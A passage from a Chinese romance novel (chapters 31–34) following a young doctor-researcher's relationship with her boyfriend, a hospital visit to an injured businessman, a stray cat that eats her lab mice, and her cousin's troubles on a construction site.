孙静茫然:“说什么?” 江明月一时都不知道从何讲起,想了想, 先拣最严重的说了:“他去哪儿玩了我不知道,我只知道他未经允许开我的车,还把林逸给撞了。就是那个林氏地产的林逸。” 江明月跟舅妈说的时候, 描述还是相对委婉的。现在跟自己父母说,就没什么顾忌了。她把那几天的经过原原本本地讲了一遍, 包括孙洛和女友在外开房、夜不归宿的事,也都告诉了父母。 孙静听后直接沉默了。 “撞了林逸?怎么会呢?”江峰觉得这事儿透着诡异,林逸出门就算不带保镖,助手和司机总会随行吧,怎么这么碰巧就被孙洛撞了,“他受伤了吗?” 江明月一脸复杂地点头:“没有生命危险, 但……也挺严重的。” 生理和心理都受伤了。 孙静忙问:“有没有去医院啊?” 江明月说:“去了,现在还在我们医院住院。” 孙静懊悔不已:“都怪我,那天你舅妈说让小洛来我们家住几天,我就不该答应她。” 江明月轻轻叹气:“是我不好,妈,你别多想,当时你和爸爸都不在家,要怪也应该怪我没有看住小洛。” 其实这段时间,江明月一直很自责,如果她当时没有把车钥匙留在家里,那么这场车祸就不会发生。如今她想起林逸,终究难免愧疚。在得知林逸那方面也被撞出毛病之后,这种愧疚感简直达到了顶峰。 江峰放下汤碗:“错的是孙洛,和你们都没关系。你俩都别把错往自己身上揽。” 孙静点头:“话是这么说,但我心里实在过意不去,小林之前还送了我民乐团的演出票呢。月月,他现在恢复得怎么样了?” 江明月表示不太清楚。 上次会诊结束后,她便把林逸助理成雷的联系方式转给了保险公司的理赔员,由他们自行沟通理赔事宜。她本人没再联系过林逸,也没去了解他的身体状况。 孙静说:“这样吧月月,你明天再拎点东西去探望一下林逸,看看他身体恢复得怎么样了。” 江峰也赞同:“应该的。” 林逸是江峰新厂区的重要合作方。他车祸住院,江峰于情于理都应该去关心一下。他们做长辈的不方便亲自去,让江明月出面比较合适。 于是第二天下班后,江明月又去了一趟林逸的病房。 成助理看见她来,立刻识趣地退到病房外,还把门带上了。 江明月把手上拎着的一堆东西放在门口——是一些水果和补品,还有她父母从希腊带回来的伴手礼。除了伴手礼,其余都是她昨晚在线上买的,今天下午刚好都送到了。 礼到,话也要带到。 江明月笑着说:“我爸妈旅游回来了,昨天刚到海城,听说你出了车祸,他们都挺担心的,让我代他们再来看看你。” 林逸道了谢,给江明月端了杯咖啡。 江明月这才发现墙边多了个置物架,架子上摆着一台咖啡机。旁边还放了个铁皮柜,透明的柜门上了锁,上面两层是纯黑色和天蓝色的文件夹,下面两层是牛皮纸档案袋,塞得满满当当。 林逸完全把病房当成工作场所了啊。江明月叹为观止。 她本打算站着说几句话就走,这会儿接过了咖啡杯,一直站着不方便拿,便走到沙发边坐下,端着杯子抿了一口。 很浓的美式。 江明月将咖啡杯搁在茶几上,顺便关心了一下林逸的身体:“你那个病……在治了吧?” 林逸很快意识到了她在问什么。 他在另一张沙发上坐下,正想说他没病,一抬眼,就撞进了江明月那双清凌凌的眼眸,透着几分关切。 原来被她温柔的眸光注视是这种感觉。 林逸忽然不想解释了。 他很想要她的在意,哪怕是出于歉疚。他想要她的关注,哪怕是出于误会。 林逸岔开话题:“江小姐,我们现在算是朋友吗?” 江明月愣了下,点点头。 “那我可以直接称呼你的名字吗?” “可以。” 林逸轻笑:“明月,年前我有一个商务晚宴要参加,你可以陪我一起出席吗?” 江明月微讶:“我和你一起?” “这种商务晚宴一般都需要带个女伴。但是……我目前的身体状况你也清楚,我暂时没心思找什么女伴。所以,可以劳驾你帮我这个忙吗?” “你目前的身体状况……”江明月卡了一下,语速都变慢了,“是不是最近的治疗都没有效果?你不要灰心,现在的理念啊技术啊,各方面都挺先进的,克服心理障碍也是需要时间的,不着急,慢慢来。” 林逸静静地听她说。 她今天穿了件休闲款衬衫,身前的衬衫下摆收进了浅色牛仔裤,看上去利落又青春。 他发现她从来不戴首饰,这可能是医生工作带给她的一个习惯,反正他没见过她身上佩戴过任何配饰。穿衣风格也比较简素,偏爱宽松的服饰,脚下永远是平底鞋,显然一切以她自己舒适为重。 “至于你说要我帮忙……”江明月略顿了顿,“不是我不答应你啊,你也知道我工作比较忙,我怕到时候有工作安排,抽不出时间。” 林逸说:“只需要你露个面就行,不会耽误你很长时间。” 江明月又说:“我以前没去过类似的场合,我怕我应对不好。你可以找你公司里的女同事啊,肯定有比我更合适的。” 林逸确定了,她只是在找理由婉拒他。 他缓缓一笑:“到时候再说吧。” 江明月又说了几句诸如“早日康复”的场面话。她起身告辞:“看你也挺忙的,就不打扰你工作了。” 林逸指了指茶几上的咖啡:“不喜欢吗?” “嗯?” “看你只喝了一口。” 江明月解释:“我咖啡因不耐受,这个点喝太多咖啡,晚上会睡不着觉。” 林逸点点头,看着江明月拉门离开- 没过一会儿,方修远带着林逸新拍的片子过来了。 方修远把新片子和老片子放一块儿对比,招呼林逸过来看:“没想到你身体素质还挺好的,恢复得很快。你看啊,这个骨折的地方已经基本长好了。” 许久没有等到林逸的回应。 方修远回头,看见林逸拿起了茶几上剩下的大半杯咖啡,将杯子转了个方向,不紧不慢地喝了几口。 方修远不以为意地转头回去,忽然瞥见门口一堆大大小小的礼品袋。他出于好奇走过去,挨个儿看了看:“鹿茸、枸杞、海参……这谁送的啊林逸?全是补肾壮阳的?” 林逸:“……” “原来你天天吃这些啊。”方修远意味不明地笑了笑,“怪不得身体那么好,恢复起来那么快。” 林逸问:“说完了吗?” “啊?” “说完了就出去吧,你今天的看诊时间到了。” 直到被成雷请出病房,方修远仍然在想——看诊多久不是由医生决定的吗?为什么在林逸这儿是由病人决定的?- 九月下了几场雨,天气逐渐转冷。 附院的神经外科有两名医生近期刚好都要结婚,都向科主任递交了请假申请。毕竟是人生大事,卢景大手一挥批了假,把沈归时召回自己科室干活儿。 神外真把沈归时当成了自己人用,于是沈归时肉眼可见地忙了起来,只有上班时间,没有下班时间,一台手术跟到凌晨是常事,每周还要值一次夜班。 江明月近期也没闲着,实验室拟研究高体脂水平对成年公鼠生殖能力的影响。她和师妹赵彤,每天都要定时定点去实验室投喂小白鼠,精细饲料给得多多的,力求把这批小白鼠养得膘肥体壮,达到实验计划中的高体脂水平。为了数据严谨,江明月还设置了一批对照组,普通饲料,正常投喂。 两组小白鼠隔笼对望,对照组只能眼睁睁地看着另一批同类每天伙食丰富,量大管饱,而自己吃食简陋。 江明月觉得,对照组但凡能说话,都能跳起来骂她一句:我不是真的人,但你是真的狗啊。 两个人都很忙,聚少离多。虽然住在同一个地方,但真正在一起相处的时间并不多。 好在神外对沈归时还算仁慈,每周末都会给他轮一天休息。江明月知道他排了哪天休息后,会特意把时间空出来。 他们会像别的情侣那样手拉手逛街看展览,会一起去江边吹风看晚霞与日落,会在寂静无人的街头肆意拥吻。 国庆节后,那两个请婚假的神外医生都回到了工作岗位,压给沈归时的工作量一下子少了许多,第一次在神外准时下班。 江明月并不知道沈归时今天早早就下班了。回去之后,她看见客卧房门虚掩,里面灯还亮着,还以为是沈归时早上忘记关灯了。 江明月轻轻推开那扇虚掩的门,想进去关灯。 房间里的男人听见动静,诧异地回过头。 江明月脑子顿时一懵。 沈归时正在换衣服,具体来说,是在换一件速干运动上衣,他可能正准备去锻炼——他一直有健身的习惯。此刻他侧对着江明月,腰腹肌肉纹理分明。 大概没想到会有人忽然推门进来,沈归时也怔住了。 似乎在很漫长的一段时间里,两人都如同两座人体雕塑,一动不动,隔空对视。 说是“对视”,也不准确。因为江明月并未始终直视沈归时的眼睛,而是控制不住地往下瞟。 当然,她内心深处十分不齿自己这种趁机乱瞟的卑劣行径,所以她很想说些什么,缓和一下气氛。 江明月张了张口,自己也始料未及的一句话凭空冒了出来:“还穿裤子,这么见外?” 第32章 般配 “如果不想说话,可以吻我。”…… 话一出口, 江明月恨不得时光倒流。 她小时候看电视,最憎恨的一类角色就是那些调戏美人的恶霸。 很不幸,现在她成了那个恶霸。 沈归时本来都伸手去拿衣服准备穿上了, 听了这一句, 准备拿衣服的手收了回来,头也偏了过来, 很安静地望着江明月,就像在听候她的进一步指示。 就在这时, 江明月的手机铃声响了。 “我接个电话,你忙你的……忙你的。” 江明月一边后退, 一边妥帖地把房门关好。 电话是留守实验室的赵彤打来的。 赵彤在电话里干嚎:“明月姐!完了!完了完了完了!” 江明月满脑子都是刚刚看到的景象,她用力眨了眨眼, 说:“出什么事了?你别着急,慢慢说。” 赵彤根本慢不下来, 声线异常激动:“咱们实验室溜进了一只野猫!一只大橘猫!就在刚刚,它趁我们不注意, 吃了好几只实验鼠,还咬死了一大片!” 江明月一阵窒息,好半天没说话。 精心喂养了那么久的实验鼠, 好不容易养得白白胖胖的,结果……都进了野猫的肚子? 赵彤说着说着都快哭出来了:“现在样本数量不够了, 实验是不是得从头开始啊?” 江明月轻轻地“啊”了声,她自己也难受得要命,但还是反过来安慰赵彤:“没事的,重来就重来,这次我们就有经验了。” 做实验有时候就是这样的,尽管有明确的方向, 但过程中的意外不可获知,实验的结果也无法保证。 赵彤沮丧道:“好的,我知道了。” 江明月问:“肇事猫还在吗?” 赵彤说:“猫赃俱获!” 江明月磨了磨牙:“等着!我来教训它一顿!” 沈归时换好衣服出来,看见江明月脸色不太好,正在门口换鞋。 “你要去哪儿?”沈归时问。 “实验室。”江明月幽幽道,“说出来你可能不信,我的论文……被猫吃了。”- 沈归时听江明月讲了来龙去脉。他陪江明月一起去了实验室。 实验室被赵彤清理了一遍,地上已经看不见血迹了。 “肇事猫”被关进了一个废弃的老鼠笼。 那是一只体型很大的橘猫,关在尺寸偏小的笼子里,显得很局促,但它的表情里并无不安,反倒有些饱餐后的惬意。 笼子上还贴着一张A4纸,上面写了两行字。 【罪名:滥杀无辜】 【判决:有期徒刑2小时】 江明月拎着橘猫的后颈,将它从笼子里拎了出来。 “挺重啊你,平时就没少偷吃吧?”江明月按住橘猫的脑袋一通乱揉,“贪吃不是错!但是不能什么都吃!吃实验数据,就是没有猫德!” 大橘猫大约是被她揉得很舒服,主动往她的手心蹭。 江明月说:“干什么干什么!少来套近乎!我男朋友还在这儿呢。” 不远处的赵彤一脸惊讶地望了过来。 她认识沈归时——教授们交口称赞的好苗子、年年拿国奖的学神、学校表白墙的常驻明星。 沈归时之前也来过几次实验室,帮江明月记录过一些实验数据。因为沈归时目前在附院实习,所以赵彤一直以为他是被江明月临时抓过来打下手的,真没往别的方面想过。 江明月蹲在地上,挠了挠猫下巴:“大橘啊,你彤姐给你定了两个小时的有期徒刑,你想不想减刑啊?” 大橘猫舒坦得喵喵叫。 “你说你想减刑?”也不知道江明月是怎么听懂的,反正就是接上话了,“行吧,看你是初犯,这次就放过你了,以后不许再偷吃了。” 沈归时始终站在江明月身边,低头注视她,唇边挂着笑。 他那么高的身高,低下头的时候,仿佛一场极尽温柔的俯就。 赵彤无声地看了一会儿。 真般配啊。 她想- 时间太晚了,赵彤先回学校了。江明月清点了剩余小白鼠的数量,跟郑观海汇报了一下战损情况。 临走时,她把大橘猫抱了起来:“走了,跟姐姐回家,明天带你去做绝育手术。年轻猫,你还不知道减刑是有代价的吧!” 大橘猫在她怀里扭来扭去,强行挣脱怀抱,刚好扑到了沈归时的脚边。 江明月轻啧一声:“求你姐夫也没用。” 姐夫。 沈归时感觉自己的心脏像是被人轻轻地捏了一下,随后整颗心似乎被某种力量激活了,开始剧烈地跳动了起来。 “你等着,我找个笼子来装你,还治不了你了。”江明月转身去拿笼子,就是刚刚拘留大橘猫的那一个。 大橘猫看见提着笼子走来的江明月,趴在地上的肥硕身躯腾地一下立了起来,扭头就跑,一溜烟儿似的从窗子跃了出去,给江明月生动地展示了一遍,什么叫灵活的胖子。 江明月望了望半开的窗,算是知道这野猫是怎么混进实验室的了。 她本打算先把这猫带回去,抽空带它去做个绝育,后续给它找合适的领养人。现在猫都跑得没影了,只好作罢- 天气彻底冷了下来。 经导师签字同意,沈归时向教育处提交了毕业申请。因为要忙毕业的事,今天他没去医院上班,忙完了以后,便去学校附近的菜市场逛了一圈。 傍晚时分下了雨。 江明月远远看见沈归时拎着一个黑色塑料袋,另一手撑着伞,立在街头,等她下班。 她不想让医院同事知道她和沈归时在谈恋爱。沈归时也很配合,每次等她下班,都只在僻静的路口静候,宛若宁静的湖泊边,一只痴等爱侣的白鹤。 江明月步伐加快,朝他走去。自己的伞收了起来,挤进他的伞下。 沈归时把伞往她的方向移。两人并肩走在回去的路上。 江明月好奇地看他手里的黑塑料袋:“这是什么?” “鱿鱼须。学校旁边的菜市场买的,挺新鲜。晚上就吃这个,用青红椒爆炒一下。” 雨珠落在伞面上,发出淅淅沥沥的响声。沈归时的声音融在其中,清朗而温柔:“再来个汤吧?冰箱里还有豆腐,烧丝瓜豆腐汤怎么样?” “好啊。快走快走,我好饿。” 今天中午临时有个会议,江明月都没来得及吃午饭。下午一点多,才有工夫碰筷子。外卖早就凉透了,她就简单对付了两口。这会儿听沈归时报菜名,她愈发饥肠辘辘。他们确认关系才三个多月,她已经完全被沈归时的厨艺俘获了。 沈归时听话地迈开步子。 秋雨总是伴随着飘摇的枯叶,似乎蕴藏了无数萧索与寂寥。 江明月望着眼前一重又一重连绵的雨幕,觉得前路还很长。 有一生那么长。 两人进了电梯。江明月接到舅妈的电话。 舅妈的声音听上去很急迫:“月月,我刚刚给你发了一张化验单,你快帮我看看。” 江明月给手机按了免提,去翻微信消息:“舅妈,你稍等会儿,我在电梯里,信号不好,图片加载不出来。” “行,行。”舅妈像是在跟江明月说,又像是在跟她自己说,“不着急,不着急。” 出了电梯,那张图片就加载出来了,是一张检验报告单。hcg那一项的结果没有写具体数值,写的是“>200000”。 江明月问:“这谁的单子啊?怀孕了,得有两个月了吧,恭……” 舅妈说:“小洛那个女朋友的。” 江明月紧急把剩下那个“喜”字咽了下去,脑中浮现出那个与她仅有一面之缘的浓妆女孩儿,考虑了一下舅妈此刻的心情,礼貌地保持了沉默。 沈归时开了门,江明月跟着走了进去。 舅妈似乎对这个答案并不意外,她很快冷静下来,问道:“月月,电视剧里都说红花麝香能打胎,靠不靠谱啊?” 江明月谨慎地答覆:“我认为不太靠谱。” “那你说吃什么药能堕胎啊?哦对对对,你是学医的,你肯定知道怎么用药。” “我是学过怎么用药,但我没学过怎么下药。” 一旁的沈归时撑不住笑了一声。 江明月望向他,指了指厨房。 沈归时会意地走去厨房,着手准备晚餐。 江明月苦口婆心地跟电话里说:“舅妈,堕胎得去医院,是吃药还是手术,医生会判断的。一定要去正规医院啊!别去那种资质不全的小卫生院,万一操作不当引发了大出血,命都救不回来。” 舅妈长长地叹气,终于透露内情:“我是想带那个小姑娘去医院的,我都说了,所有费用我出,另外再给她三万块钱营养费,只要她离小洛远一点,别影响小洛学习。她不肯!怎么劝都不肯!非说她和小洛真心相爱,让我不要拆散他们。” 江明月也给不出更多的建议了,只好说:“那你们再商量商量。” 舅妈那边又叹了一口气,挂了电话。 江明月翻了翻手机,发现几分钟前崔晚晚给她发了一条消息。 【崔晚晚:我把宋远搞到手了。】 上回崔晚晚精心策划了游乐场告白行动,由于孙洛开车撞了人,江明月没有跟着一起去,所以一直不知道崔晚晚的告白行动有没有成功。 不过,后来崔晚晚再也没有跟她提过宋远,她猜测告白行动多半是失败了。以她对崔晚晚的了解,崔晚晚应该已经放弃了宋远,转而去物色新的帅哥了。 没想到啊…… 【江明月:怎么回事,说说。】 【崔晚晚:打字说太慢了,我电话跟你说。】 崔晚晚说,去游乐场那天堵车严重,她紧赶慢赶还是迟到了二十分钟。 宋远倒没先进去玩项目,而是在游乐场大门口等她。两人排队检票的时候,队伍前方忽然有个人晕倒了。她想在宋远面前表现一番,当即冲上去,要给那人来一顿心肺复苏。 宋远拦住了她,她让宋远别担心,说她知道怎么按,还声称自己之前和江明月联手按回来一个小姑娘。 然后宋远告诉她,那人只是中暑了,心脏还在跳,不能瞎按。 因为这个插曲,崔晚晚觉得那天完全丧失了甜蜜的氛围,一点也不适合告白。两人在游乐场里草率地转了一圈,就各自回去了。 当晚,宋远给她发来了一个心肺复苏教学视频。 崔晚晚破罐子破摔,也不迂回了,直接开撩,说想找宋远练习人工呼吸。 结果宋远很直男地说,现在临床上主张持续的胸外按压,不强调人工呼吸了。 崔晚晚认为这是一种相当明显的拒绝。她也想得开,后来就没再联系过宋远。 断联半个月之后,宋远主动来找她了。 崔晚晚说到这里,忍不住来了句吐槽:“所以男人还是得晾晾,不能老拿热脸贴他,有的人就要等失去了才知道后悔。” 江明月:“……” 崔晚晚接着说:“后来我们算是真正熟悉起来了,空了会约饭,也会互相分享一些日常。就在今天!刚刚!宋远!他跟我表白了!他说他喜欢我!他说他喜欢我哎!” 江明月把手机拿远了一些:“我听得见,你别吼。” “他说他之前一直担心自己毕不了业,怕耽误我,所以不敢说喜欢我。今天学校通过了他的毕业申请,他知道自己能毕业了,所以才有勇气来表白。明月,他真的是一个很好的人啊,你说是不是?” 江明月听得一脸姨母笑:“是是是,宋远真的很好。” 厨房内,油烟机开到了最大风量,沈归时大火翻炒鱿鱼须,压根儿听不见江明月的通话内容。 一盘爆炒鱿鱼须很快完工,沈归时端菜出去,只听见最后这么一句。 对宋远的,认可与褒奖。 沈归时无声地深吸一口气,装没听见,轻轻将盘子放到餐桌上,转身回厨房。 厨房里很香,炒锅的油温未降,依旧往外冒着青红椒混合鱿鱼须翻炒出来的特殊香气。 她刚刚跟别人说——“宋远真的很好。” 沈归时双臂展开,撑着流理台,回想着她说这句话时的表情。 她在笑。 唇角弯出了一个美丽的弧度,眼神也很亮,沾着发自内心的愉悦。 宋远哪里好? 他可以学- 沈归时发消息给宋远,旁敲侧击地问他最近有没有和江明月联系过。 没过多久,宋远的消息就回了过来,一条接着一条。 【宋远:沈哥,你说得对,我不应该自作多情脑补江师姐喜欢我。】 【宋远:我也是前不久才知道,之前江师姐问我那些私人问题,都是帮她一个朋友问的。哈哈哈哈,江师姐真是个大好人。】 【宋远:对了沈哥,忘了告诉你,我脱单了,毕业申请也过了,双喜临门,你不用太羡慕。】 【宋远:我和江师姐那个朋友在一起了。她和我是同一年的,刚好我不喜欢姐弟恋,也不喜欢比我小的。】 沈归时看着这一条条往外蹦的消息,半晌才理清思路。 【沈归时:恭喜。】 窗外大雨滂沱。雨幕倾泻而下,铁艺路灯的映照下,雨珠闪烁着微光,仿佛一串串透明的银色丝线。 隔着紧闭的门窗,室内像是一方远离尘嚣的安宁天地,无风无雨,温情融融- 江明月打完电话,走进厨房。 沈归时还在看手机,面带微笑。 那笑意并不算明显,很浅淡的一抹,却令他周身的气息都柔和了下来。 江明月从冰箱里拿了瓶鲜榨橙汁,旋开瓶盖的同时,瞟了眼沈归时,隐约看见他手机屏幕停在了微信聊天的界面。 “在跟谁聊天?” 沈归时收起手机,朝她走了过来。步子迈得很大,步伐也很快,似乎江明月话音未落,他就走到了她面前。 江明月喝了口橙汁,还没来得及完全咽下去,眼前人的吻就落了下来。 吻得很轻,却很细致。慢慢地,他的口腔里也都是清爽微甜的橙子味。 江明月呼吸不畅,往后退了一步,脊背抵在了厨房整面铺设的瓷砖墙上。些微的凉意,带着雨天特有的潮气,透过衣服传递到后背。沈归时伸手垫在她身后,微微撤出一段距离:“墙上冷,别着凉了。” 江明月缓了一会儿,仰头问:“你刚刚在跟谁聊天?男的女的?聊挺开心的嘛。” “……跟宋远。” “跟他聊你能聊那么开心?” “他说他脱单了。” “所以,”江明月的指腹碰了碰自己的下唇,“这是你为他庆祝的方式?” 沈归时:“……” 垫在她身后的那只手稍稍用力,将她按进了一个怀抱。 距离那么近,江明月能感知到他胸腔的振动,他的声音从上方传来:“师姐,我一直以为你喜欢宋远。” “什么?” 沈归时一桩桩一件件拿出来说:“你很关心他,在医院的时候一直偷偷看他,还跟他私下约出去见面。” 江明月自己都太不记得这些细枝末节了,当即否认。结果沈归时有理有据,清晰地列出了每一个事件的时间地点。 江明月越听越不对劲:“你说的都是多久以前的事了?什么叫我特意让你带红酒给他?我那根本就是随口一提!还有那个时候我们还没在一起吧?你有必要那么胡思乱想吗?” “有必要。”沈归时依旧是那个清朗干净的声线,纯粹又动人,“因为我早就喜欢上你了。” 江明月蓦然抬头:“有多早?” 沈归时说:“比你想像的,还要早。” 江明月不由问:“那你……你那天为什么要拒绝我的表白?” “拒绝你?”沈归时陷入了自我怀疑,“我?” 江明月纠结一瞬,豁出去了,盯着沈归时的眼睛说:“就是我科室聚会那一天!我喝多了,跑来跟你说我喜欢你,结果你不接受,害得我第二天只好假装断片儿了,装失忆装到了现在!” “我没有不接受。” “我记得我告白之后,你说了句‘够了’,也不知道你是听够了还是受够了……这难道不是拒绝吗?” 沈归时神情复杂:“师姐,你不用装断片,你是真断片了。” 记住的都是什么乱七八糟的。 “当时你说,你有50%的概率喜欢我,我说够了,是指50%这个数值已经足够了。” “……” “我以为,你另外50%的概率,是喜欢宋远。” 江明月恍然大悟之余,又有几分不可思议:“所以你一直以为我既喜欢你,又喜欢宋远?这你都能忍?你怎么不问问我啊?” 沈归时轻声说:“想问你的,怕你不高兴就一直没问。另外我也认真考虑过,如果你真的喜欢上别人了,只要你心里还有一点点空位留给我,只要我还能陪在你身边,只要你过得开心,我也不是不能接受。” 江明月终于忍不住骂了一句:“你恋爱脑啊?” 这世上怎么有人爱得这么卑微。 “沈归时,我现在明确告诉你,目前我喜欢你的概率是100%” 她双手绕到他的颈后,轻轻勾住他的脖颈。 “而且我可以永远对你保持100%的坦诚,你想知道什么随时都可以来问我,我对你绝无隐瞒。” 雨好像停了。雨珠敲打在窗子上的哗哗声响都消失了。但风声仍旧呼啸,不知从哪个方向涌来,像浓烈的爱意在疯狂地叫嚣。 沈归时收紧怀抱。两人在咫尺之间对望。 半晌,江明月笑出声:“你倒是说句话呀。如果不想说话,可以吻我。” 沈归时展颜轻笑:“谢谢,我很幸运。” “还有,师姐,如果某一天我拒绝了你,那一定是你记错了。请你务必来找我对质,我们之间不可以有误会。” “我永远不可能拒绝你。” 江明月听得颇为满意:“还有呢?” 沈归时笑着低头,声音含混不清:“现在不想说话了。” 第33章 不对劲 那是喜欢一个人的眼神。…… 江明月从孙静那里得知了孙洛那位小女朋友的后续情况——舅妈联系了女方父母, 女方父母开价十万块,舅妈二话不说打了钱,女方父母押着小姑娘去医院把孩子拿了。 孙洛知道了以后, 学也不上了, 逃课回家,说要和父母断绝关系, 还说以后宁可去工地搬砖,也不回这个家了。把舅妈气得心脏病发作, 吃了速效救心丸才缓过来。舅舅也气坏了,直接让孙洛滚, 就当没他这个儿子。 然后孙洛毅然决然离家出走,跑去海城找女朋友, 还真就在女朋友家附近找了个建筑工地,搬砖去了。 江明月听过也就算了。现在实验进入到收尾阶段, 她每天忙得不可开交,就差住在实验室了, 根本顾不上理会别的琐事。 万幸的是,实验结果和她预设的方向差不多,可以开始动笔写论文了。 又是一个周末。 江明月照例去了实验室, 打算把论文二稿改出来。 赵彤问她:“明月姐,中午吃什么?点外卖吗?” 最近两人在实验室待的时间越来越长。她们的伙食由一开始的泡面, 逐渐变成了实验室附近的沙县小吃、兰州拉面、黄焖鸡米饭。后来不管是泡面还是周边的小餐馆儿,都吃腻了,就开始靠点外卖解决三餐。 “点!帮我点一份葱油拌面,我要吃碳水!”江明月打开电脑里的论文文档,一副要大干一场的架势,“再来一杯超大杯奶茶, 补充一下热量!” “点好了。”赵彤比了个OK的手势,转身去拿猫粮,“我去喂小核。” 小核就是之前那只偷偷溜进实验室吃小白鼠的大橘猫。 之前那批实验鼠伤亡惨重,江明月痛定思痛,第二天就加装了一面纱窗。别说野猫了,连只苍蝇都飞不进来。 大橘猫可能是知道实验室里面有数不清的“食物”,即便进不来,依旧每天在实验室附近转悠。某一天下大雨,江明月看见它在实验室大门外的一小片屋檐下躲雨,毛发沾满了水贴在身上,可怜巴巴的。江明月于心不忍,把它放了进来。当然,实验鼠她都保护起来了,大橘猫看得见吃不着。 赵彤去附近的宠物用品商店买了个猫罐头,放在大橘猫面前。大橘猫毫无警惕心,埋头狂炫罐头。吃完了就乖乖巧巧地往边上一趴。 赖这儿不走了。 赵彤问江明月,能不能把大橘猫放在实验室养。 实验室不止她们两人在用,还有别的同事会来,只不过研究视角不同。 江明月去问了每个人的意见。 大家都挺喜欢小动物,也非常欢迎这名新成员,于是大橘猫顺利地在实验室安家了。 赵彤给它取名为小核,全名核心期刊,英文名SCI。 有了“家”之后,小核的毛发肉眼可见地柔顺亮丽了起来,性格也变得更亲人了,如今只要实验室有陌生来客到访,它都会自发地上前社交一番,包括但不限于冲人家喵喵叫、蹭人家的裤腿、主动露出肚皮示好。 小猫咪不知道什么是收养。 它只知道被爱以后,要把爱意回馈给世界上每一个两脚兽- 郑观海针对江明月的论文初稿,提了几条修改建议。江明月把手机放到边上充电,开始心无旁骛地修改。 没过一会儿,手机响了。赵彤刚刚喂完猫,喊了声:“明月姐,有人打你电话!” 江明月的思绪还沉浸在论文里,懒得起来看手机:“谁打来的?” “是个短号,没有备注。”赵彤说。 短号?那应该是医院某个同事打来的。 江明月说:“我改个图例,你帮我接一下。” 赵彤依言接通,跟手机里说:“你好,明月姐现在有事忙,我是她的师妹赵彤。请问您哪位?找她什么事?” 片刻之后,赵彤抬头朝江明月望过来:“明月姐,他说他是王询,让你接电话。” 江明月愣了愣,将电脑上改了一半的论文按了保存,起身走过去拿手机:“王院长。” 王询亲切地笑了笑,声音听起来很慈祥:“小江,我没打扰你周末休息吧?” 江明月连忙说:“没有没有。您找我是有什么工作吗?” 王询问:“是这样,我听说你最近在写一篇论文?写得怎么样了?” 江明月说:“现在正在写二稿。” 二稿出来以后,论文基本上就不会有太大的变动了。 王询夸奖道:“不错,你科研能力强,院里一直有目共睹。如果在写文章的过程中遇到了什么困难,尽管跟我说。” 王询原来是心外的科主任,后来提拔做了副院长,江明月只在开大会的时候见过他几次。她也不知道王询为什么突然来关心她的论文,不过该给领导的面子她还是会给的。 于是礼貌又真诚地感谢:“好的,谢谢王院长。” “这样吧,你二稿写完以后,打印一份出来,等下周上班后送到我办公室,我帮你看看。” 江明月估算了一下二稿的修改进度,预计下周可以完成,便答应下来- 与此同时,海城郊区的一处建筑工地上。 孙洛晒黑了不少,此刻正呆愣愣地望着眼前的景象——地下水管挖断了,管子直径不小,大量的流水从裂口喷涌出来,浸湿了周围沙尘遍布的土地。 旁边一个肥头大耳的中年男人指着孙洛破口大骂:“孙洛!你他妈是不是没长脑子?图纸上不是标了这个地方有水管吗?你还往下挖干嘛?是手痒还是钱多啊?” 孙洛有些恍惚,爬上挖机,抓起图纸一看。 “不对,不对……我看到的图纸不是这样的……” 中年男人嗤笑:“那你看到的图纸长什么样?” 孙洛四处翻找,都没找到自己之前拿到的那张施工图纸。但他清晰地记得,在那张图纸上,这个位置并没有标注水管。 这时,一个身材精瘦的男人朝这边走了过来。他头戴安全帽,面相严肃,身上那件皮夹克很干净,并没有沾满工地上常见的尘土。 中年男人立刻堆起笑容,朝来人点头哈腰:“穆经理,您怎么亲自来了?” 穆经理问:“听说有个新来的违规施工,挖断了一条水管?” 中年男人把孙洛从挖机上扯了下来,谄媚笑道:“对对,就是他。” 穆经理扫视着孙洛,脸上浮起一个意味深长的淡笑:“小伙子,你们安全培训的时候说过的吧?不按图纸施工出了事故,一律责任自负。这条水管关系到周围好几个小区的供水,也影响整个工地的用水,维修成本加上误工损失,少说也要三五百万,你打算赔多少钱啊?” 孙洛后退一步,梗着脖子说:“我不赔!没钱赔!” 穆经理点点头:“不想赔钱也行,我们公司会起诉你,让法院来判决。不过我提醒你一句,如果法院判你赔钱,你还是不赔,那可是要坐牢的。” 孙洛平时再怎么不着调,听见“起诉”、“坐牢”之类的字眼,还是本能地畏惧起来。 “你……你等等,我先打个电话。” 孙洛口口声声说要离家出走,和父母断绝往来,但真出了事,第一时间想到的还是联系家里。 他把目前的情况和自己父母说了,并且试图解释:“爸、妈,我之前看到的图纸真没标这条水管,这工地一定是个黑心工地,故意给我假图纸,想骗赔偿金。” 孙父声音里是掩不住的疲惫:“小洛,犯了错就要承认错误,不要总想着找借口。我和你妈妈这几天就把房子挂到中介上卖了,钱,我们来赔,算我俩上辈子欠你的。不过我警告你,这是最后一次,以后就算你真的去坐牢,我们也不会再管你了。” 听到要卖掉家里的房子,孙洛握着手机,呆滞许久,忽然望向眼前那个穿着体面的男人,小声问:“那个……能不能少赔点?” 穆经理由始至终都没有离开,就像是在等孙洛来找他讨价还价。他眯着眼睛笑道:“可以啊,你直接找我们大老板林逸,不赔钱都行。” 在旁人听来,这句话只是一句简单的嘲讽,但孙洛听后,心腔猛地一震。 林逸。 他记得他签字的那份交通事故认定书上,另一个当事人的名字,就是林逸。 意识到这一点,他还有什么不明白的。一定是他不小心撞了林逸之后,林逸怀恨在心,故意借这个机会整他。 他赶紧又打了个电话,把自己的猜测告诉了父母。 孙母还是比较相信孙洛的,喃喃道:“这可怎么办啊?之前月月就跟我说你撞了个人,没说撞的是一个大老板啊。” 提到江明月,孙洛灵光乍现:“妈,你快联系表姐,她认识那个林逸,让她帮我说说情,说不定就不用赔钱了。” 还有一点孙洛没说。 当初他去林逸的病房赔礼道歉,总觉得林逸看他表姐的眼神不对劲。 后来他琢磨出来了。 那是喜欢一个人的眼神。 第34章 没亲够 “我相信的,沈博。”…… 中午, 外卖送到了实验室门口。 江明月挑了张干净桌子准备吃饭,刚拆开葱油拌面的打包盒,又一个电话打过来了。 江明月看了眼来电提示:“喂, 舅妈。” 舅妈上来就是一通骂:“月月, 之前小洛开车撞的那个人是不是叫林逸啊?他可真不是东西啊,知道小洛在他家工地上干活儿, 竟然故意设套陷害小洛!想害小洛坐牢!你说小洛年纪轻轻的,要是坐了牢, 以后还怎么考公务员啊?” 江明月还不知道出了什么事,一直插不上嘴, 等听见最后一句,她彻底沉默了。 按你家孙洛的学习能力, 想考公务员恐怕还是比较有难度的。 她没吱声儿,显然舅妈也不需要她的回复, 